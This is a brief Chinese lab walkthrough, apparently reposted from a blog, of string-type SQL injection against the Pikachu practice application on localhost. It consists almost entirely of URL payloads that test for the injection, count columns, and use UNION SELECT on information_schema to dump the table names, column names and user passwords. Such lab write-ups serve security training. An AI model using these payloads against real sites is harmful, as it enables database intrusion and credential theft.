1.检测注入类型
http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2 #不报错 http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1‘&submit=%E6%9F%A5%E8%AF%A2 #报错 http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1‘--+&submit=%E6%9F%A5%E8%AF%A2 #不报错
2.判断字段数
http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1‘order by 2--+&submit=%E6%9F%A5%E8%AF%A2
3.暴库
http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1‘UNION SELECT 1,2--+&submit=%E6%9F%A5%E8%AF%A2
4.查数据库
http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1‘UNION SELECT 1,database（）--+&submit=%E6%9F%A5%E8%AF%A2
5.查表
http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1′ UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&submit=%E6%9F%A5%E8%AF%A2
6.查列
http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1′ UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=‘users‘ --+&submit=%E6%9F%A5%E8%AF%A2
7.查字段内容
http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1′ UNION SELECT 1,group_concat(id,username,password) from users --+&submit=%E6%9F%A5%E8%AF%A2
#sql语句和post中的数字型注入相同
原文：https://www.cnblogs.com/Hunter-01001100/p/11624290.html